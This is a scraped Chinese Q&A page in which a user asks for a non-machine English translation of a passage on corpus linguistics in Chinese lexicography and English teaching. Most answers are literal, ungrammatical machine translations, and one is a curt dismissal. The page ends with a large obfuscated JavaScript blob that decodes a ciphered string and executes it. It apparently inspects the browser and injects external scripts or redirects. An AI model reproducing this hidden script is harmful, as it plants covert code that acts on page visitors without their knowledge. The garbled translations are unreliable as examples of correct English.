那位能帮我翻译下面这段话成英文,感激不尽啊 谢绝电脑直翻的哦

2025-02-13 12:05:33
推荐回答(4个)
回答1:

With the unprecedented rapid development of computer technology, English Corpus is also China's rapid development. 语料库方法在词典编纂、语言研究和语言教学等方面也得到了越来越多的应用。 Corpus Methods lexicography, language studies and language teaching, etc. have also been more and more applications. 语料库是语言研究与教学的重要基础,是编写词典、语法书和教材的重要源泉。 Corpus is the language an important basis for research and teaching, the preparation of dictionaries, grammar books and an important source of materials.
语料库和语料库语言学在当今语言研究由高度抽象转向语言的实际使用这个过渡中起着十分重要的作用:一是提供真实语料;二是提供统计数据;三是验证现行的理论;四是构建新的理论。 Corpus and Corpus Linguistics in today's highly abstract language research shifted from the actual use of language plays an important role in the transition: First, to provide true corpus; 2 is to provide statistical data; 3 is to verify the existing theory; fourth is to build a new theory. 提供真实语料是词典编纂的生命线。 Provide real corpus is the lifeblood of lexicography. 现在流行的英语词典几乎全部是基于大规模语料库编纂而成的。 Now almost all of the popular English dictionary is based on a compilation of a large-scale corpus. 基于大规模语料库的英语语法书也已经问世。 Based on a large-scale corpus of English grammar book has come out. 在理论建设上,基于英国国家语料库英语口语库的研究表明,基于真实英语口语语料的英语口语语法跟基于书面语的语法有很大不同。 In theory building, based on the British National Corpus Spoken English library studies have shown that, based on the real spoken English Corpus Spoken English grammar with the written language based on the syntax are very different.
在应用语言学领域,词典编纂和语言教学同是语料库的最大受益者。 In the field of applied linguistics, lexicography and language teaching with the biggest beneficiary is the corpus. 目前已有多部词典在编纂或修订过程中,不同程度地使用语料库或电子文档收集词语数据,用于收词、释义、例句、属性标注等。 At present, more than dictionary in the codification or amendment process, to varying degrees, the use of electronic document corpus, or collection of words of data for legal terms, interpretation, sample sentence, property marking and so on. 南京大学近年来开发了NULEXID语料库暨双语词典编纂系统,涉及英汉两种语言,在《新时代英汉大词典》的编纂过程中起了重要作用。 In recent years, Nanjing has developed a bilingual dictionary compilation NULEXID corpus cum system, involving English and Chinese languages, in the "New Age English-Chinese Dictionary" compilation process played an important role.
语料库用于语言教学的一个例子是上海交通大学的JDEST英语语料库,利用这个语料库,通过语料比较、统计、筛选等方法为中国大学英语教学提供通用词汇和技术词汇的应用信息,为确定大学英语教学大纲的词表提供了可靠的量化依据。 Corpus used for language teaching An example is the Shanghai Jiao Tong University JDEST English Corpus, the use of this corpus, through corpus comparison, statistics, screening methods such as college English teaching in China provide a common vocabulary and technical terminology of the application of information, in order to determine the college English teaching Outline of the word table provides a reliable quantitative basis. 这个语料库也在英语语言研究中发挥了作用,支持基于语料库的英语语法的频率特征、语料库驱动的词语搭配等项研究。 The Corpus of English language studies also played a role in supporting the corpus-based frequency characteristics of English grammar, corpus-driven study of collocation Deng Xiang.
中国学习英语者(CLEC)涵盖我国中学生、大学英语4级和6级、英语专业低年级和高年级的学习内容,并对所有的语料作了语法标注和言语失误标注。 China to learn English speakers (CLEC) covered by our high school students, college English 4 and 6, junior English major and high-grade learning content, and all of the corpus grammatical annotation, and speech errors were marked. 根据这个语料库得到了词频排列表、拼写失误表、词目表、词频分布表、语法标注频数表、言语失误表等,还把这些数据与一些英语本族语语料库(如BROWN,LOB,FROWN,FLOB)进行了某些比较。 According to this corpus has been ranked list of word frequency, spelling mistakes in the table, the word head table, word frequency distribution, frequency tagging grammatical form, language errors table and so on, also the data with a number of native speakers of English Corpus (eg BROWN, LOB, FROWN, FLOB) carried out some of the more. 这个语料库为词典编纂、教材编写和语言测试提供了必要的资源。 The Corpus lexicography, curriculum and language testing provided the necessary resources.
语料库是一个庞大的语言素材的集合体,主要用于观察、分析和研究目的语的各种特征。 Corpus is a huge collection of language materials, mainly for observation, analysis and research the various features of the target language. 它能快速准确地提供诸如构词、搭配、语境等多方面的语料及信息。 It can quickly and accurately provide information such as word-building, matching, context and other aspects of language materials and information. 词汇教学是语料库资源和研究手段用于外语教学时间最早和成果最多的一个领域。 Vocabulary teaching resources and research tools Corpus foreign language teaching time for the results of the earliest and one of the largest area. 语料库在外语学习中缩小课堂语言与真实语言的差距、培养学习者的语感和学习能力及研究能力等方面也正在发挥越来越大的作用。 Corpus in foreign language learning in the classroom to narrow the gap between language and real language, cultivate a sense of learner's language and learning ability and research capacity in such areas is also playing an increasing role.
利用语料库对语言的特征以及学习者的语言使用特征等方面作出分析,其分析结果可应用于指导语言教学的实践,改进课堂教学。 The use of corpus of language features and characteristics of learners to make use of language analysis, the analysis results can be applied to guide the practice of language teaching and improve classroom teaching. 比如,语言现象的分布和频率等信息可以用来指导教师确定哪些是教学的重点和难点等;学习者语言应用和使用失误等信息可以帮助教师诊断学生在语言学习过程中可能存在的问题,并为学生进行有针对性的训练。 For example, the linguistic phenomenon of the distribution and frequency information can be used to guide teachers to determine which are the focus and difficulty of teaching, etc.; learner language errors in the application and use of information can help teachers to diagnose students in the language learning process there may be problems and for the students targeted training. 语料库还可以应用于教材编写和教学大纲设计等。 Corpora can also be applied to curriculum development and curriculum design. 语料库为确定教材或教学大纲中的词汇表、语法结构以及它们的编排顺序等提供了科学的依据。 Corpus to determine the course materials or syllabus vocabulary, grammatical structures and their arrangement in order to provide a scientific basis and so on. 应用语料库开展计算机辅助语言教学也开始引起广泛的兴趣。 Application of Corpus to carry out computer-assisted language teaching and has also begun to attract widespread interest.
在英语教学与研究方面,语料库和语料库语言学一直发挥着非常重要的作用,从理论、内容和方法等方面对语言教学与研究都有重要影响,比如英语教学方面,经典性的词典和语法书等就是在英语语料库的基础上编写而成的。 In English teaching and research, Corpus and Corpus Linguistics has always played a very important role, in theory, in terms of contents and methods of language teaching and research have a significant impact, such as English language teaching, dictionary and grammar of classical books other is prepared on the basis of English corpus made of. 语料库的应用将从传统领域,如词典编篡,扩展到新兴领域,如编写教学大纲和教材、开展机助语言学习、机器翻译等;以语料库为基础的研究方法将逐渐受到重视和广泛应用;英语语料库及语料库语言学将在今后的英语教学和研究领域发挥更大的作用。 Corpus applications from traditional areas, such as dictionary compilation, extending to emerging areas, such as the preparation of curricula and teaching materials, to carry out computer-aided language learning, machine translation, etc.; to corpus-based research methods will gradually be taken seriously and widely used; English Corpus and Corpus Linguistics in the next area of English teaching and research play a bigger role.

回答2:

边去

回答3:

With the rapid development of computer technology, an unprecedented in our English corpus is developing rapidly. Corpus method in bilingual lexicography, language and language teaching research aspects also got more and more applications. Corpus linguistic research and teaching is the important foundation, compiling a dictionary, grammar teaching and an important source.
Corpus and corpus linguistics research in today's language from the highly abstract language to the actual use of the transition plays a very important role is to provide a corpus, Two is to provide statistical data, Three is to verify that the theory, Four is to construct a new theory. Provide real corpora is the lifeline of lexicography. Popular now almost all English dictionary compilation is based on large-scale corpus. Based on the large-scale corpus of English grammar book is already published. In theory, based on the construction of British national corpus of English study, based on the authentic English speech spoken English grammar and based on the writing grammar is quite different.
In the field of applied linguistics, lexicography and language teaching is the biggest beneficiaries of corpus. More than existing in compiling dictionaries or revised process, use different degree of electronic document collection words corpus or data, for examples, vocabulary, and attributes. In recent years, the development of nanjing university NULEXID corpus and bilingual lexicography system, involving both languages, in the new era of english-chinese dictionary compilation process played an important role.
Corpus for language teaching is an example of Shanghai jiaotong university JDEST English corpus, using the corpora, by comparison, statistics and data such as China screening method in college English teaching and provides general vocabulary and the application of information technology, the vocabulary for college English teaching syllabus word list provides a reliable quantitative basis. The corpus in English language study also played a role in support of the corpus, based on the characteristics of English grammar, corpus drive the frequency of words and expressions etc.
Chinese learning English in China (middle) covers CLEC, cet 4 and 6, English majors and the junior professional study and content of the corpus of all the words and grammar mistakes. According to this corpus obtained, spelling mistakes during arrangement, way of word frequency distribution, watch, grammar mistakes, speech tagging frequency, still put these table data and some English native language corpora (such as time, LOB, FLOB FROWN, some comparative). The corpus for lexicography, textbook and language test provides the necessary resources.
Corpus is a large collection of language material, mainly used for observation, analysis and study of the characteristics of target language. It can quickly and accurately provide formation, such as tie-in and different aspects of language and context information. Vocabulary teaching is the corpus research methods for resources and the teaching time and one of the most fields. Corpus in foreign language teaching and learning with real language classroom language narrowed the gap, and develop the students' language and learning ability and research ability is playing an increasingly larger role.
Use of language corpora characteristics and the use of language learners make an analysis of its analysis results can be applied to guide the practice of language teaching, improve classroom teaching. For example, the distribution and the frequency of language phenomenon such information can be used to determine what is the teacher's teaching is important and difficult; etc. Language application and use of such information can help teachers error diagnosis of students in language learning process, and the possible problems for students to have specific training. Corpus, also can be used in compiling teaching materials and teaching syllabus design etc. Corpus for sure the teaching syllabus or vocabulary, grammar structures and their arrangement order provided scientific basis, etc. Used to develop computer assisted language corpora teaching began to cause extensive interest.
In English teaching and research, corpus and corpus linguistics has played a very important role, from the theory, the content and the method of language teaching and research has important influence, such as teaching English dictionaries and grammars, the classic book in English corpus is based on writing. The application of corpus from traditional fields, such as dictionary edit to emerging fields, such as writing teaching syllabus and materials, machine help language learning, machine translation, etc. Based on the research method of corpus attention and will gradually widely, English corpus and corpus linguistics will in future research and teaching English to play a bigger role.

回答4:

With the unprecedented rapid development of computer technology, English Corpus is also China's rapid development. Corpus Methods lexicography, language studies and language teaching, etc. have also been more and more applications. Corpus is the language an important basis for research and teaching, the preparation of dictionaries, grammar books and an important source of materials.
Corpus and Corpus Linguistics in today's highly abstract language research shifted from the actual use of language plays an important role in the transition: First, to provide true corpus; 2 is to provide statistical data; 3 is to verify the existing theory; fourth is to build a new theory. Provide real corpus is the lifeblood of lexicography. Now almost all of the popular English dictionary is based on a compilation of a large-scale corpus. Based on a large-scale corpus of English grammar book has come out. In theory building, based on the British National Corpus of Spoken English library studies have shown that
Based on real spoken English Corpus Spoken English grammar with the written language based on the syntax are very different.
In the field of applied linguistics, lexicography and language teaching with the biggest beneficiary is the corpus. At present, more than dictionary in the codification or amendment process, to varying degrees, the use of electronic document corpus, or collection of words of data for legal terms, interpretation, sample sentence, property marking and so on. In recent years, Nanjing has developed a bilingual dictionary compilation NULEXID corpus cum system, involving English and Chinese languages, in the "New Age English-Chinese Dictionary" compilation process played an important role.
Corpus used for language teaching An example is the Shanghai Jiao Tong University JDEST English Corpus, the use of this corpus, through corpus comparison, statistics, screening methods such as college English teaching in China provide a common vocabulary and technical terminology of the application of information, in order to determine the college English teaching Outline of the word table provides a reliable quantitative basis. The Corpus of English language studies also played a role in supporting the corpus-based frequency characteristics of English grammar, corpus-driven study of collocation Deng Xiang.
China to learn English speakers (CLEC) covered by our high school students, college English 4 and 6, junior English major and high-grade learning content, and all of the corpus grammatical annotation, and speech errors were marked. According to this corpus has been ranked list of word frequency, spelling mistakes in the table, the word head table, word frequency distribution, frequency tagging grammatical form, language errors table and so on, also the data with a number of native speakers of English Corpus (eg BROWN, LOB, FROWN, FLOB) carried out some of the more. The Corpus lexicography, curriculum and language testing provided the necessary resources.
Corpus is a huge collection of language materials, mainly for observation, analysis and research the various features of the target language. It can quickly and accurately provide information such as word-building, matching, context and other aspects of language materials and information. Vocabulary teaching resources and research tools Corpus foreign language teaching time for the results of the earliest and one of the largest area. Corpus in foreign language learning in the classroom to narrow the gap between language and real language, cultivate a sense of learner's language and learning ability and research capacity in such areas is also playing an increasing role.
The use of corpus of language features and characteristics of learners to make use of language analysis, the analysis results can be applied to guide the practice of language teaching and improve classroom teaching. For example, the linguistic phenomenon of the distribution and frequency information can be used to guide teachers to determine which are the focus and difficulty of teaching, etc.; learner language errors in the application and use of information can help teachers to diagnose students in the language learning process there may be problems and for the students targeted training. Corpora can also be applied to curriculum development and curriculum design.
Corpus to determine the course materials or syllabus vocabulary, grammatical structures and their arrangement in order to provide a scientific basis and so on. Application of Corpus to carry out computer-assisted language teaching and has also begun to attract widespread interest.
In English teaching and research, Corpus and Corpus Linguistics has always played a very important role, in theory, in terms of contents and methods of language teaching and research have a significant impact, such as English language teaching, dictionary and grammar of classical books other is prepared on the basis of English corpus made of. Corpus applications from traditional areas, such as dictionary compilation, extending to emerging areas,
Such as the preparation of curricula and teaching materials, to carry out computer-aided language learning, machine translation, etc.; to corpus-based research methods will gradually be taken seriously and widely used; English Corpus and Corpus Linguistics in the next area of English teaching and research will play a bigger role.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();